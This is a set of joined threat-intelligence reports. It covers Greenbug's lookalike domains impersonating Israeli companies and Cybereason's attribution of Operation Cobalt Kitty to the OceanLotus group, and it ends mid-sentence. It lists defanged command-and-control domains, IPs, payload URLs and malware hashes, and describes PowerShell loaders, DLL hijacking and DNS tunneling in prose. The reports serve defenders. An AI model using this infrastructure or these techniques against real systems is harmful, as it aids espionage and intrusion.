www[.]is-cdn[.]edge[.]g18[.]dyn[.]usr-e12-as[.]akamaitechnology[.]com 11716[.]cachevideo[.]com ns1[.]intelchip[.]org Page 47 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName ns2[.]cachevideo[.]com 7737[.]cloudflare-statics[.]com 7052[.]cloudflare-statics[.]com 7737[.]digicert[.]online ns1[.]cloudflare-statics[.]com 24984[.]cachevideo[.]com ns1[.]digicert[.]online ns2[.]digicert[.]online 24984[.]digicert[.]online ns1[.]fbstatic-akamaihd[.]com ns2[.]fbstatic-akamaihd[.]com ns1[.]javaupdator[.]com ns2[.]outlook360[.]net ns01[.]nameserver[.]win ns2[.]javaupdator[.]com ns2[.]intelchip[.]org TATIC[.]DYN-USR[.]GSRV01[.]SSL-GSTATIC[.]ONLINe STATIC[.]DYN-USR[.]GSRV01[.]SSL-GSTATIC[.]online ns1[.]labs-cloudfront[.]com ns2[.]labs-cloudfront[.]com www[.]broadcast-microsoft[.]tech www[.]newsfeeds-microsoft[.]press www[.]owa-microsoft[.]online static[.]c20[.]jdk[.]cdn-external-ie[.]1e100[.]tech ns1[.]cloud-analyzer[.]com ns2[.]cloud-analyzer[.]com ns2[.]cloudflare-statics[.]com ns1[.]cachevideo[.]com ns1[.]outlook360[.]net 3012[.]digicert[.]online 24984[.]cloudflare-statics[.]com 7737[.]cachevideo[.]com hda[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.]co msdn[.]winupdate64[.]net kja[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.]co Page 48 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Iranian Threat Agent Greenbug Impersonates Israeli HighTech and Cyber Security Companies clearskysec.com /greenbug/ Iranian Threat Agent Greenbug has been registering domains similar to those of Israeli High-Tech and Cyber Security Companies. On 15 October 2017 a sample of ISMdoor was submitted to VirusTotal from Iraq. The sample name was WmiPrv.tmp (f5ef3b060fb476253f9a7638f82940d9) and it had the following PDB string: C:\Users\Void\Desktop\v 10.0.194\x64\Release\swchost.pdb Two domains were used for command and control: thetareysecurityupdate[.]com securepackupdater[.]com By pivoting off the registration details and servers data of the two domains we discovered others registered by the threat agent. Eight contain the name of Israeli high-tech and cyber security companies and one of a Saudi Arabian testing & commissioning of major electrical equipment company. We estimate that the domains were registered in order to be used when targeting these companies, organisations related to them, or unrelated third parties. However, we do not have any indication that the companies were actually targeted or otherwise impacted. Below are the malicious domains and the companies who s names were used. Malicious Domain Impersonated company Registration date winsecupdater[.]com 11/6/2016 dnsupdater[.]com 12/4/2016 winscripts[.]net 3/4/2017 allsecpackupdater[.]com Uncertain lbolbo[.]com 4/8/2017 4/8/2017 securepackupdater[.]com Uncertain 4/8/2017 thetaraysecurityupdate[.]com ThetaRay (thetaray.com) An Israeli cyber security and big data analytics company 4/8/2017 ymaaz[.]com YMAAZE (ymaaze.com) A Saudi Arabian testing & commissioning of major electrical equipment company 4/8/2017 oospoosp[.]com 8/9/2017 osposposp[.]com 8/9/2017 znazna[.]com 8/9/2017 mbsmbs[.]com 8/9/2017 outbrainsecupdater[.]com Outbrain (outbrain.com) A major Israeli online advertising company 8/9/2017 securelogicupdater[.]com SecureLogic (space-logic.com) Likely an Israeli marketer of airport security systems by the same name. Other companies with the same name exist. 8/9/2017 benyaminsecupdater[.]com Uncertain 8/9/2017 wixwixwix[.]com Wix (wix.com) A major Israeli cloud-based web development platform 8/9/2017 biocatchsecurity[.]com Biocatch (biocatch.com) an Israeli company developing technology for behavioral biometrics for fraud prevention and detection 10/14/2017 corticasecurity[.]com Cortica (cortica.com) an Israeli company developing Artificial Intelligence technology 10/14/2017 covertixsecurity[.]com Covertix (covertix.com) An Israeli data security company 10/14/2017 arbescurity[.]com Arbe Robotics (arberobotics.com) An Israeli company developing autonomous driving technology 10/14/2017 Indicators of compromise Indicators of compromise are presented below and are available on PassiveTotal. Domain allsecpackupdater[.]com Domain znazna[.]com Domain arbescurity[.]com Domain benyaminsecupdater[.]com Domain biocatchsecurity[.]com Domain corticasecurity[.]com Domain covertixsecurity[.]com Domain dnsupdater[.]com Domain lbolbo[.]com Domain mbsmbs[.]com Domain ntpupdateserver[.]com Domain oospoosp[.]com Domain osposposp[.]com Domain outbrainsecupdater[.]com Domain securelogicupdater[.]com Domain securepackupdater[.]com Domain thetaraysecurityupdate[.]com Domain winscripts[.]net Domain winsecupdater[.]com Domain wixwixwix[.]com Domain ymaaz[.]com Domain benyaminsecupdater[.]com Filename WmiPrv.tmp Hash 37d586727c1293d8a278b69d3f0c5c4b Hash 82755bf7ad786d7bf8da00b6c19b6091 Hash ad5120454218bb483e0b8467feb3a20f Hash e0175eecf8d31a6f32da076d22ecbdff Hash f5ef3b060fb476253f9a7638f82940d9 151.80.113.150 151.80.221.23 217.182.244.254 46.105.130.98 5.39.31.91 80.82.66.164 SSLCertificate 3b0b85ea32cab82eaf4249c04c05bdfce5b6074ca076fedf87dbea6b28fab99d The Maltego graph below depicts the relationship among the indicators (click to enlarge): Update 2017-10-25 three hashes removed from IOC list The following hashes were mistakenly included in the IOC list and have been removed, as they are unrelated to the campaign: c594b52ec8922a1e980a2ea31b1d1157 179cb8839e9ee8e9e6665b0986bf7811 d30c4df6de21275ae69a4754fc2372ef Operation Cobalt Kitty Threat Actor Profile & Indicators of Compromise By: Assaf Dahan 2016 Cybereason. All rights reserved. Attribution In this APT, the threat actor was very aware of the risks of exposure and tried to combat attribution as much as possible. This is often the case in this type of large-scale cyber espionage operations. At the time of the attack, there weren t many classic indicators of compromise (IOCs) that could lead to attribution. However, at the same time, the threat actors behind Operation Cobalt Kitty left enough behavioral fingerprints to suspect the involvement of the OceanLotus Group (which also goes by the names APT-C-00, SeaLotus and APT32), which was first documented by Qihoo 360's SkyEye Labs in 2015 and further researched by other security companies, including FireEye s report. Reports of the group s activity in Asia date back to 2012, attacking Chinese entities. Over the years, the group was observed attacking a wide spectrum of targets in other Asian countries (Philippines and Vietnam). Cybereason concludes that the tactics, techniques and procedures (TTPs) observed throughout operation Cobalt Kitty are consistent with the group s previous APT campaigns in Asia. The Lotus Group appears to have a tendency of using similar and even identical names for their payloads (seen in their PowerShell payloads, Denis backdoor and fake Flash installers). In addition, they also used similar anonymization services for their domains repeatedly. That type small details also played a role in attributing Operation Cobalt Kitty to the OceanLotus Group. Lastly, during the investigation, Cybereason noticed that some of the C&C domains and IPs started to emerge on VirusTotal and other threat intelligence engines, with payloads that were not observed during Cobalt Kitty. This was a cutting proof that Cobalt Kitty was not an isolated APT, but part of something bigger. Example of the C&C domains and IPs used by the group across different APT campaigns and caught in the wild: *.chatconnecting(.)com blog.versign(.)com vieweva(.)com tulationeva(.)com teriava(.)com tonholding(.)com nsquery(.)net notificeva(.)com 23.227.196(.)210 104.237.218(.)72 45.114.117(.)137 Some of these domains were also mentioned in FireEye s APT32 report, further confirming our suspicions that the group behind the attack is the OceanLotus Group. The group includes members who are fluent in at least two Asian languages. This claim is supported by the language used in the spear-phishing emails, which appear to be written by native speakers. In addition, the language localization settings found in few of the payloads suggest that the malware authors compiled the payloads on machines with Asian languages 2017 Cybereason Inc. All rights reserved. support. The threat actors are not likely native English speakers since multiple typos were found in their payloads. For example, the following typo was observed in the file metadata of one of the backdoors. Notice the Internal Name field ( Geogle Update Threat Actor Profile The attackers behind Operation Cobalt Kitty were extremely persistent. Even when their campaign was exposed, the attackers did not give up. They took pauses that lasted between 48 hours and four weeks and used the downtime to learn from their mistakes and develop workarounds before resuming the APT campaign. The members of the OceanLotus Group demonstrated a remarkable ability to quickly adapt, introduce new tools and fine tune existing ones to bypass security solutions and avoid detection. The high number of payloads and the elaborate C2 infrastructure used in this attack can be indicative of the resources that the attackers had at their disposal. Simultaneously orchestrating multiple APT campaigns of such magnitude and sophistication takes time, financial resources and a large team who can support it. Threat actor s main characteristics Here are the main characteristics that can help profile the threat actor: Motivation - Based on the nature of the attack, the proprietary information that the attackers were after and the high-profile personnel who were targeted, Cybereason concluded the main motivation behind the attack was cyber espionage. The attacker sought after specific documents and type of information. This is consistent with previous reports about the group s activity show that the group has a very wide range of targets, spanning from government agencies, media, business sector, and more. 2017 Cybereason Inc. All rights reserved. Operational working hours - Most of the malicious activity was mostly done around normal business hours (8AM-8PM). Very little active hacking activity was detected during weekends. The attackers showed a slight tendency to carry out hacking operations towards the afternoon and evening time. These observations can suggest the following: Time zone(s) proximity. An institutionalized threat actor (possibly nation-state) Outlook backdoor and data exfiltration - One of the most interesting tools introduced by the attackers was the Outlook backdoor, which used Outlook as a C2 channel. This backdoor has not been publicly documented and is one of the most unique TTPs with regards to the threat actor. Outlook backdoors are not a new concept and have been observed in different APTs in the past. However, this specific type of Outlook backdoor is can be considered as one of the signature tools of the OceanLotus Group. Publicly available tools - The attackers showed a clear preference to use publicly available hacking tools and frameworks. Beyond being spared the hassle of creating a new tool, it is much harder to attribute a tool that can be used by anyone rather than a custom-made tool. However, the attackers should not be considered script-kiddies. Most of the publicly available tools were either obfuscated, modified and even merged with other tools to evade antivirus detection. This type of customization requires good coding skills and understanding of how those tools work. Cobalt Strike usage in APT - Cobalt Strike is a commercial offensive security framework designed to simulate complex attacks and is mainly used by security professionals in security audits and penetration testing. The OceanLotus Group was previously documented using Cobalt Strike as one of its main tools. Other Large scale APTs using Cobalt Strike have been reported before, such as APT-TOCS (could be related to OceanLotus), Ordinaff, Carbanak Group, and the Cobalt Group. Custom-built backdoors - The threat actor used very sophisticated and stealthy backdoors (Denis & Goopy) that were written by highly skilled malware authors. During the attack, the authors introduced new variants of these backdoors, indicating on-thefly development capabilities. Developing such state-of-the-art backdoors requires skillful malware authors, time and resources. In addition, both the Denis and Goopy backdoors used DNS Tunneling for C2 communication. The OceanLotus Group is known to have a backdoor dubbed SOUNDBITE by FireEye that use this stealthy technique. However, no public analysis reports of SOUNDBITE is available to the time of writing this report. Exploiting DLL hijacking in trusted applications - The attackers exploited three DLLhijacking vulnerabilities in legitimate applications from trusted vendors: Microsoft, Google and Kaspersky. This further indicates the group s emphasis on vulnerability research. DLL-hijacking / Side-loading attacks are not uncommon in APTs, some of which are also carried out by nation-state actors and advanced cyber-crime groups. 2017 Cybereason Inc. All rights reserved. There have been reports in the past of GoogleUpdate exploited by PlugX by Chinese threat actors as well as the Bookworm RAT exploiting Microsoft and Kaspersky applications in APTs targeting Asia. Insisting on fileless operation - While fileless delivery infrastructure is not a feature that can be attributed to one specific group, it is still worth mentioning since the attackers went out of their way to restore the script-based PowerShell / Visual Basic operation, especially after PowerShell execution had been disabled in the entire organization. C&C infrastructure Divide and conquer - Each tool communicated with different sets of C&C servers domains, which usually came in triads. For instance, Cobalt strike payloads communicated with certain sets of IPs/domains while the backdoors communicated with different sets of IPs/domains. Re-use of domains and IPs across campaigns - Quite a few domains and IPs that were observed in Operation Cobalt Kitty were found in-the-wild, attacking other targets. It s rather peculiar why the threat actor re-used the same domains and IPs. It could be assumed that the malware operators wanted to have centralized C&C servers per tool or tools, where they could monitor all of their campaigns from dedicated servers. Anonymous DNS records - Most of the domains point to companies that provide DNS data privacy and anonymization, such as PrivacyProtect and PrivacyGuardian. C&C server protection - Most of the C&C servers IP addresses are protected by CloudFlare and SECURED SERVERS LLC. OceanLotus Group activity in Asia As part of the analysis of the domains and IPs that were used in this operation, Cybereason found samples that were caught in-the-wild (that were not part of Operation Cobalt Kitty). Analysis of those samples clearly indicates the involvement of the threat actor in Asia and Vietnam in particular. Both Qihoo 360 and FireEye demonstrate in their reports that the threat actor is involved in campaigns in different Asian countries, such as Vietnam, China, and the Philippines. Most of the samples caught in-the-wild seem to target Vietnamese speakers. Some of the samples exhibit clear evidence of targeting Vietnamese entities. This conclusion is derived from the file names and file contents that are written in Vietnamese, as shown in the examples below: File Name: n tho y.doc SHA-1: 38297392df481d2ecf00cc7f05ce3361bd575b04 Malicious Domain / IP: 193.169.245(.)137 2017 Cybereason Inc. All rights reserved. File Name: ID2016.doc SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc Malicious Domain / IP: support.chatconnecting(.)com File Name: Gi i th ng m i 2016 - H ng.doc (Translation: New Claim Form 2016 SHA-1: A5bddb5b10d673cbfe9b16a062ac78c9aa75b61c Malicious Domain / IP: blog.versign(.)info 2017 Cybereason Inc. All rights reserved. Indicators of Compromise (IOCs) Malicious files Backdoors File name SHA-1 hash Msfte.dll ------------Variant of Backdoor.Win32.Denis be6342fc2f33d8380e0ee5531592e9f676bb1f94 638b7b0536217c8923e856f4138d9caff7eb309d dcbe007ac5684793ea34bf27fdaa2952c4e84d12 43b85c5387aafb91aea599782622eb9d0b5b151f Goopdate.dll ----------------Goopy backdoor 9afe0ac621c00829f960d06c16a3e556cd0de249 973b1ca8661be6651114edf29b10b31db4e218f7 1c503a44ed9a28aad1fa3227dc1e0556bbe79919 2e29e61620f2b5c2fd31c4eb812c84e57f20214a c7b190119cec8c96b7e36b7c2cc90773cffd81fd 185b7db0fec0236dff53e45b9c2a446e627b4c6a ef0f9aaf16ab65e4518296c77ee54e1178787e21 product_info.dll 3cf4b44c9470fb5bd0c16996c4b2a338502a7517 [Backdoor exploiting DLL-hijacking against Kaspersky Avpia] VbaProject.OTM 320e25629327e0e8946f3ea7c2a747ebd37fe26f [Outlook Macro] sunjavascheduler.ps1 sndVolSSO.ps1 SCVHost.ps1 fhsvcs.ps1 Goztp.ps1 0d3a33cb848499a9404d099f8238a6a0e0a4b471 c219a1ac5b4fd6d20a61bb5fdf68f65bbd40b453 91e9465532ef967c93b1ef04b7a906aa533a370e [PowerShell versions of the Denis / Goopy backdoors] Cobalt Strike Beacons 2017 Cybereason Inc. All rights reserved. File name SHA-1 hash dns.exe cd675977bf235eac49db60f6572be0d4051b9c07 msfte.dll 2f8e5f81a8ca94ec36380272e36a22e326aa40a4 FVEAPI.dll 01197697e554021af1ce7e980a5950a5fcf88318 sunjavascheduler.ps1 syscheck.ps1 dns.ps1 activator.ps1 nvidia.db 7657769f767cd021438fcce96a6befaf3bb2ba2d Ed074a1609616fdb56b40d3059ff4bebe729e436 D667701804CA05BB536B80337A33D0714EA28129 F45A41D30F9574C41FE0A27CB121A667295268B2 7F4C28639355B0B6244EADBC8943E373344B2E7E Malicious Word Documents ***Some of the phishing emails and Word documents were very targeted and personalized, therefore, they are not listed here for privacy reasons File name SHA-1 hash CV.doc Complaint letter.doc License Agreement.doc [redacted] Loader scripts File name SHA-1 hash syscheck.vbs 62749484f7a6b4142a2b5d54f589a950483dfcc9 SndVolSSO.txt cb3a982e15ae382c0f6bdacc0fcecf3a9d4a068d 2017 Cybereason Inc. All rights reserved. sunjavascheduler.txt 7a02a835016bc630aa9e20bc4bc0967715459daa Obfuscated / customized Mimikatz File name SHA-1 hash dllhosts.exe 5a31342e8e33e2bbe17f182f2f2b508edb20933f 23c466c465ad09f0ebeca007121f73e5b630ecf6 14FDEF1F5469EB7B67EB9186AA0C30AFAF77A07C KB571372.ps1 7CADFB90E36FA3100AF45AC6F37DC55828FC084A KB647152.exe 7BA6BFEA546D0FC8469C09D8F84D30AB0F20A129 KB647164.exe BDCADEAE92C7C662D771507D78689D4B62D897F9 kb412345.exe e0aaa10bf812a17bb615637bf670c785bca34096 kb681234.exe 4bd060270da3b9666f5886cf4eeaef3164fad438 System.exe 33cb4e6e291d752b9dc3c85dfef63ce9cf0dbfbc 550f1d37d3dd09e023d552904cdfb342f2bf0d35 decoded base64 Mimikatz payload c0950ac1be159e6ff1bf6c9593f06a3f0e721dd4 Customized credential dumpers File name SHA-1 hash 2017 Cybereason Inc. All rights reserved. log.exe 7f812da330a617400cb2ff41028c859181fe663f [GetPassword_x64] SRCHUI.dll adrclients.dll 29BD1BAC25F753693DF2DDF70B83F0E183D9550D FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642 [HookPasswordChange] KB471623.exe 6609A347932A11FA4C305817A78638E07F04B09F [Custom password dumper] doutlook.ps1 adobe.dat adrclients.ps1 EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD B769FE81996CBF7666F916D741373C9C55C71F15 E64C2ED72A146271CCEE9EE904360230B69A2C1D [Custom password dumper] Miscellaneous tools File name SHA-1 hash pshdll35.dll pshdll40.dll 52852C5E478CC656D8C4E1917E356940768E7184 EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89 [PSUnlock - PowerShell Bypass tool] KB-10233.exe kb74891.exe C5e19c02a9a1362c67ea87c1e049ce9056425788 0908a7fbc74e32cded8877ac983373ab289608b3 [NetCat] IP.exe cmd.exe dllhost.exe 6aec53554f93c61f4e3977747328b8e2b1283af2 [IP check Tool] Payloads from C&C servers 2017 Cybereason Inc. All rights reserved. Payload SHA-1 hash hxxp://104.237.218(.)67:80/icon.ico 6dc7bd14b93a647ebb1d2eccb752e750c4ab6b09 hxxp://support.chatconnecting(.)com:80/icon.ico c41972517f268e214d1d6c446ca75e795646c5f2 hxxp://food.letsmiles(.)org/login.txt 9f95b81372eaf722a705d1f94a2632aad5b5c180 hxxp://food.letsmiles(.)org/9niL 5B4459252A9E67D085C8B6AC47048B276C7A6700 hxxp://23.227.196(.)210:80/logscreen.jpg d8f31a78e1d158032f789290fa52ada6281c9a1f 50fec977ee3bfb6ba88e5dd009b81f0cae73955e hxxp://45.114.117(.)137/eXYF D1E3D0DDE443E9D294A39013C0D7261A411FF1C4 91BD627C7B8A34AB334B5E929AF6F981FCEBF268 hxxp://images.verginnet(.)info:80/ppap.png F0A0FB4E005DD5982AF5CFD64D32C43DF79E1402 hxxp://176.107.176(.)6/QVPh 8FC9D1DADF5CEF6CFE6996E4DA9E4AD3132702C hxxp://108.170.31(.)69/a 4a3f9e31dc6362ab9e632964caad984d1120a1a7 hxxp://support(.)chatconnecting(.)com/pic.png bb82f02026cf515eab2cc88faa7d18148f424f72 hxxp://blog.versign(.)info/access/?version=4&lid=[reda cted]&token=[redacted] 9e3971a2df15f5d9eb21d5da5a197e763c035f7a hxxp://23.227.196(.)210/6tz8 bb82f02026cf515eab2cc88faa7d18148f424f72 hxxp://23.227.196(.)210/QVPh 8fc9d1dadf5cef6cfe6996e4da9e4ad3132702c5 hxxp://45.114.117(.)137/3mkQ 91bd627c7b8a34ab334b5e929af6f981fcebf268 hxxp://176.223.111(.)116:80/download/sido.jpg 5934262D2258E4F23E2079DB953DBEBED8F07981 hxxp://110.10.179(.)65:80/ptF2 DA2B3FF680A25FFB0DD4F55615168516222DFC10 hxxp://110.10.179(.)65:80/download/microsoftp.jpg 23EF081AF79E92C1FBA8B5E622025B821981C145 hxxp://110.10.179(.)65:80/download/microsoft.jpg C845F3AF0A2B7E034CE43658276AF3B3E402EB7B 2017 Cybereason Inc. All rights reserved. hxxp://27.102.70(.)211:80/image.jpg 9394B5EF0B8216528CED1FEE589F3ED0E88C7155 C&C IPs 45.114.117(.)137 104.24.119(.)185 104.24.118(.)185 23.227.196(.)210 23.227.196(.)126 184.95.51(.)179 176.107.177(.)216 192.121.176(.)148 103.41.177(.)33 184.95.51(.)181 23.227.199(.)121 108.170.31(.)69 104.27.167(.)79 104.27.166(.)79 176.107.176(.)6 184.95.51(.)190 176.223.111(.)116 110.10.179(.)65 27.102.70(.)211 C&C Domains food.letsmiles(.)org help.chatconnecting(.)com *.letsmiles(.)org support.chatconnecting(.)com inbox.mailboxhus(.)com blog.versign(.)info news.blogtrands(.)net stack.inveglob(.)net tops.gamecousers(.)com nsquery(.)net tonholding(.)com cloudwsus(.)net nortonudt(.)net teriava(.)com tulationeva(.)com 2017 Cybereason Inc. All rights reserved. vieweva(.)com notificeva(.)com images.verginnet(.)info id.madsmans(.)com lvjustin(.)com play.paramountgame(.)com Appendix A: Threat actor payloads caught in the wild Domain Details VirusTotal inbox.mailboxhus(.)com support.chatconnecting(.)com File name: Flash.exe SHA-1: 01ffc3ee5c2c560d29aaa8ac3d17f0ea4f6c0c09 Submitted: 2016-12-28 09:51:13 Link File name: Flash.exe SHA-1: 562aeced9f83657be218919d6f443485de8fae9e Submitted: 2017-01-18 19:00:41 Link URL: hxxp://support(.)chatconnecting.com/2nx7m Submitted: 2017-01-20 10:11:47 Link File name: ID2016.doc SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc Submitted: 2016-11-23 08:18:43 Link (45.114.117.137) inbox.mailboxhus(.)com support.chatconnecting(.)com (45.114.117[.]137) support.chatconnecting(.)com (45.114.117[.]137) support.chatconnecting(.)com (45.114.117[.]137) Malicious Word document (Phishing text in Vietnamese) blog(.)versign(.)info (23.227.196[.]210) blog(.)versign(.)info (23.227.196[.]210) File name: tx32.dll SHA-1: 604a1e1a6210c96e50b72f025921385fad943ddf Submitted: 2016-08-15 04:04:46 File name: Gi i th ng m i 2016 - H ng.doc SHA-1: a5bddb5b10d673cbfe9b16a062ac78c9aa75b61c Submitted: 2016-10-06 11:03:54 Link Link Malicious Word document with Phishing text in Vietnamese 2017 Cybereason Inc. All rights reserved. blog(.)versign(.)info File name: Thong tin.doc SHA-1: a5fbcbc17a1a0a4538fd987291f8dafd17878e33 Submitted: 2016-10-25 (23.227.196[.]210) Link Malicious Word document with Phishing text in Vietnamese Images.verginnet(.)info File name: WinWord.exe SHA-1: ea67b24720da7b4adb5c7a8a9e8f208806fbc198 Submitted: id.madsmans(.)com Link (176.107.176[.]6) Cobalt Strike payload Downloads hxxp://images.verginnet(.)info/2NX7M Using Cobalt Strike malleable c2 oscp profile tonholding(.)com nsquery(.)net File name: SndVolSSO.exe SHA-1: 1fef52800fa9b752b98d3cbb8fff0c44046526aa Submitted: 2016-08-01 09:03:58 Link Denis Backdoor Variant tonholding(.)com nsquery(.)net File name: Xwizard / KB12345678.exe SHA-1: d48602c3c73e8e33162e87891fb36a35f621b09b Submitted: 2016-08-01 Link teriava(.)com File name: CiscoEapFast.exe SHA-1: 77dd35901c0192e040deb9cc7a981733168afa74 Submitted: 2017-02-28 16:37:12 Link Denis Backdoor Variant Appendix B: Denis Backdoor samples in the wild File name SHA-1 Domain msprivs.exe 97fdab2832550b9fea80ec1b9 c182f5139e9e947 teriava(.)com WerFault.exe F25d6a32aef1161c17830ea0c b950e36b614280d teriava(.)com msprivs.exe 1878df8e9d8f3d432d0bc8520 595b2adb952fb85 teriava(.)com CiscoEapFast.exe 094.exe 1a2cd9b94a70440a962d9ad7 8e5e46d7d22070d0 teriava(.)com, tulationeva(.)com, 2017 Cybereason Inc. All rights reserved. notificeva(.)com CiscoEapFast.exe 77dd35901c0192e040deb9cc 7a981733168afa74 SwUSB.exe F:\malware\Anh ng\lsma.exe 88d35332ad30964af4f55f1e44 gl-appspot(.)org c951b15a109832 tonholding(.)com nsquery(.)net Xwizard.exe KB12345678.exe d48602c3c73e8e33162e8789 1fb36a35f621b09b tonholding(.)com nsquery(.)net SndVolSSO.exe 1fef52800fa9b752b98d3cbb8ff f0c44046526aa tonholding(.)com nsquery(.)net 2017 Cybereason Inc. All rights reserved. teriava(.)com, tulationeva(.)com, notificeva(.)com Cybereason is the leader in endpoint protection, offering endpoint detection and response, next-generation antivirus, and active monitoring services. Founded by elite intelligence professionals born and bred in offense-first hunting, Cybereason gives enterprises the upper hand over cyber adversaries. The Cybereason platform is powered by a custom-built in-memory graph, the only truly automated hunting engine anywhere. It detects behavioral patterns across every endpoint and surfaces malicious operations in an exceptionally user-friendly interface. Cybereason is privately held and headquartered in Boston with offices in London, Tel Aviv, and Tokyo. 2016 Cybereason. All rights reserved. A Large Scale Cyber Espionage APT in Asia cybereason.com /labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/ 5/23/2017 Operation Cobalt Kitty: A large-scale APT in Asia carried out by the OceanLotus Group Post by: Assaf Dahan The investigation of a massive cyber espionage APT (Advanced Persistent Threat) became a game of one-upmanship between attackers and defenders. Dubbed Operation Cobalt Kitty, the APT targeted a global corporation based in Asia with the goal of stealing proprietary business information. The threat actor targeted the company s top-level management by using sophisticated spear-phishing attacks as the initial penetration vector, ultimately compromising the computers of vice presidents, senior directors and other key personnel in the operational departments. During Operation Cobalt Kitty, the attackers compromised more than 40 PCs and servers, including the domain controller, file servers, Web application server and database server. Forensic artifacts revealed that the attackers persisted on the network for at least a year before Cybereason was deployed. The adversary proved very adaptive and responded to company s security measures by periodically changing tools, techniques and procedures (TTPs), allowing them to persist on the network for such an extensive period of time. Over 80 payloads and numerous domains were observed in this operation all of which were undetected by traditional security products deployed in the company s environment at the time of the attack. The attackers arsenal consisted of modified publicly-available tools as well as six undocumented custom-built tools, which Cybereason considers the threat actor s signature tools. Among these tools are two backdoors that exploited DLL sideloading attack in Microsoft, Google and Kaspersky applications. In addition, they developed a novel and stealthy backdoor that targets Microsoft Outlook for command-and-control channel and data exfiltration. Based on the tools, modus operandi and IOCs (indicators of compromise) observed in Operation Cobalt Kitty, Cybereason attributes this large-scale cyber espionage APT to the OceanLotus Group (which is also known as, APT-C-00, SeaLotus and APT32). For detailed information tying Operation Cobalt Kitty to the OceanLotus Group, please see our Attacker s Arsenal and Threat Actor Profile sections. Cybereason also attributes the recently reported Backdoor.Win32.Denis to the OceanLotus Group, which at the time of this report s writing, had not been officially linked to this threat actor. Finally, this report offers a rare glimpse into what a cyber espionage APT looks like under-the-hood . Cybereason was able to monitor and detect the entire attack lifecycle, from infiltration to exfiltration and all the steps in between. Our report contains the following detailed sections (PDF): High-level attack outline: A cat-and-mouse game in four acts The following sections outline the four phases of the attack as observed by Cybereason s analysts, who were called to investigate the environment after the company s IT department suspected that their network was breached but could not trace the source. Phase one: Fileless operation (PowerShell and Cobalt Strike payloads) 1/14 Based on the forensic evidence collected from the environment, phase one was the continuation of the original attack that began about a year before Cybereason was deployed in the environment. During that phase, the threat actor operated a fileless PowerShell-based infrastructure, using customized PowerShell payloads taken from known offensive frameworks such as Cobalt Strike, PowerSploit and Nishang. The initial penetration vector was carried out by social engineering. Carefully selected group of employees received spear-phishing emails, containing either links to malicious sites or weaponized Word documents. These documents contained malicious macros that created persistence on the compromised machine using two scheduled tasks, whose purpose was to download secondary payloads (mainly Cobalt Strike Beacon): Scheduled task 1: Downloads a COM scriptlet that redirects to Cobalt Strike payload: Scheduled task 2: Uses Javascript to download a Cobalt Strike Beacon: See more detailed analysis of the malicious documents in our Attack Life Cycle section. Fileless payload delivery infrastructure 2/14 In the first phase of the attack, the attackers used a fileless in-memory payload delivery infrastructure consisting of the following components: 1. VBS and PowerShell-based loaders The attackers dropped Visual Basic and PowerShell scripts in folders that they created under the ProgramData (a hidden folder, by default). The attackers created persistence using Windows registry, services and scheduled tasks. This persistence mechanism ensured that the loader scripts would execute either at startup or at predetermined intervals. Values found in Windows Registry: the VBS scripts are executed by Windows Wscript at startup: The .vbs scripts as well as the .txt files contain the loader s script, which launches PowerShell with a base64 encoded command, which either loads another PowerShell script (e.g Cobalt Strike Beacon) or fetches a payload from the command-and-control (C&C) server: 3/14 2. In-memory fileless payloads from C&C servers The payloads served by the C&C servers are mostly PowerShell scripts with embedded base64-encoded payloads (Metasploit and Cobalt Strike payloads): Example 1: PowerShell payload with embedded Shellcode downloading Cobalt Strike Beacon The decoded payload is a shellcode, whose purpose is to retrieve a Cobalt Strike Beacon from the C&C server: 4/14 Example 2: Cobalt Strike Beacon embedded in obfuscated PowerShell A second type of an obfuscated PowerShell payload consisted of Cobalt Strike s Beacon payload: Less than 48 hours after Cybereason alerted the company about the breach , the attackers started to change their approach and almost completely abandoned the PowerShell infrastructure that they had been using replacing it with sophisticated custom-built backdoors. The attackers remarkable ability to quickly adapt demonstrated their skill and familiarity with and command of the company s network and its operations. 5/14 The attackers most likely replaced the PowerShell infrastructure after the company used both Windows Group Policy Object (GPO) and Cybereason s execution prevention feature to prevent PowerShell execution. Phase two: Backdoors exploiting DLL-hijacking and using DNS tunneling After realizing that the PowerShell infrastructure had been discovered, the attackers had to quickly replace it to maintain persistence and continue the operation. Replacing this infrastructure in 48 hours suggests that the threat actors were prepared for such a scenario. During the second phase of the attack, the attackers introduced two sophisticated backdoors that they attempted to deploy on selected targets. The introduction of the backdoors is a key turning point in the investigation since it demonstrated the threat actor s resourcefulness and skill-set. At the time of the attack, these backdoors were undetected and undocumented by any security vendor. Recently, Kaspersky researchers identified a variant of one of the backdoors as Backdoor.Win32.Denis. The attackers had to make sure that they remained undetected so the backdoors were designed to be as stealthy as possible. To avoid being discovered, the malware authors used these techniques: Backdoors exploiting DLL hijacking against trusted applications The backdoor exploited a vulnerability called DLL hijacking in order to hide the malware inside trusted software. This technique exploits a security vulnerability found in legitimate software, which allows the attackers to load a fake DLL and execute its malicious code. Please see an analysis of the backdoors in the Attacker s Arsenal section. The attackers exploited this vulnerability against the following trusted applications: Windows Search (vulnerable applications: searchindexer.exe /searchprotoclhost.exe) Fake DLL: msfte.dll (638b7b0536217c8923e856f4138d9caff7eb309d) 6/14 Google Update (d30e8c7543adbc801d675068530b57d75cabb13f) Fake DLL: goopdate.dll (973b1ca8661be6651114edf29b10b31db4e218f7) 7/14 Kaspersky s Avpia (691686839681adb345728806889925dc4eddb74e) Fake DLL: product_info.dll (3cf4b44c9470fb5bd0c16996c4b2a338502a7517) By exploiting legitimate software, the attackers bypassed application whitelisting and legitimate security software, allowing them to continue their operations without raising any suspicions. DNS Tunneling as C2 channel In attempt to overcome network filtering solutions, the attackers implemented a stealthier C2 communication method, using DNS Tunneling a method of C2 communicating and data exfiltration using the DNS protocol. To ensure that the DNS traffic would not be filtered, the attackers configured the 